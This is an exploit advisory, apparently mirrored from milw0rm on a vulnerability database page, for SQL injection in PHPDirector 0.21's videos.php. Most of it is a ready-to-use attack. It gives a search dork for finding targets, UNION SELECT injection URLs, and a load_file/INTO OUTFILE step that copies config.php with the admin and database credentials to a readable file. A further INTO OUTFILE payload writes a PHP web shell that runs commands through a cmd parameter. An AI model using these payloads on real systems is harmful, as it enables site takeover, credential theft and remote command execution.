PHPDirector <= 0.21 (videos.php id) Remote SQL Injection Vulnerability

🗓️ 03 Jul 2007 00:00:00Reported by RootType

PHPDirector <= 0.21 Remote SQL Injection Vulnerabilit


                                                PHPDirector&nbsp;&lt;=&nbsp;0.21&nbsp;(SQL&nbsp;injection/Upload&nbsp;SHELL)&nbsp;Remote&nbsp;Vulnerabilities

WEB&nbsp;APP:&nbsp;PHPDirector&nbsp;0.21
SITE:&nbsp;http://www.phpdirector.co.uk/site/
DORK:&nbsp;&quot;Powered&nbsp;by&nbsp;PHP&nbsp;Director&quot;

AUTHOR:&nbsp;Kw3rLn&nbsp;[&nbsp;teh_lost_byte[at]YaHoO[d0t]Com&nbsp;]

*&nbsp;Romanian&nbsp;Security&nbsp;Team&nbsp;[Ethical&nbsp;Hacking]&nbsp;-&nbsp;hTTp://RSTZONE.nET

DESCRIPTION:&nbsp;-&nbsp;SQL&nbsp;injection&nbsp;in&nbsp;$id&nbsp;of&nbsp;videos.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;admin&nbsp;&amp;&nbsp;password&nbsp;are&nbsp;in&nbsp;config.php&nbsp;:-(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Path&nbsp;disclosure
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;It&nbsp;doesn`t&nbsp;deserve&nbsp;to&nbsp;make&nbsp;an&nbsp;sploit

EXPLOIT:

SQL&nbsp;INJECTION:&nbsp;http://www.site.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config

FIND&nbsp;ADMIN&nbsp;PASS&nbsp;&amp;&nbsp;DB&nbsp;INFO:
1.&nbsp;We&nbsp;must&nbsp;have&nbsp;teh&nbsp;path&nbsp;..&nbsp;check:&nbsp;http://www.site.com/videos.php?id[]=&nbsp;(path&nbsp;disclosure)
2.&nbsp;http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file('[path_you_just_found]/config.php')%20FROM%20pp_config%20into%20outfile%20'[path_you_just_found]/config.txt'
3.&nbsp;Now&nbsp;check:&nbsp;http://www.site.com/config.txt

UPLOAD&nbsp;SHELL:
1.&nbsp;We&nbsp;must&nbsp;have&nbsp;teh&nbsp;path&nbsp;..&nbsp;check:&nbsp;http://www.site.com/videos.php?id[]=&nbsp;(path&nbsp;disclosure)
2.&nbsp;http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,'&lt;?php%20system($_GET[cmd]);%20?&gt;',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'[path_founded]/shell.php'%20FROM%20pp_config
3.&nbsp;http://www.site.com/shell.php?cmd=uname&nbsp;-a


GREETZ:&nbsp;all&nbsp;memberz&nbsp;of&nbsp;RST&nbsp;and&nbsp;milw0rm
//kw3rln&nbsp;[http://rstzone.net]

03 Jul 2007 00:00Current

7.1High risk

Vulners AI Score7.1

PHPDirector &lt;= 0.21 (videos.php id) Remote SQL Injection Vulnerability

PHPDirector <= 0.21 (videos.php id) Remote SQL Injection Vulnerability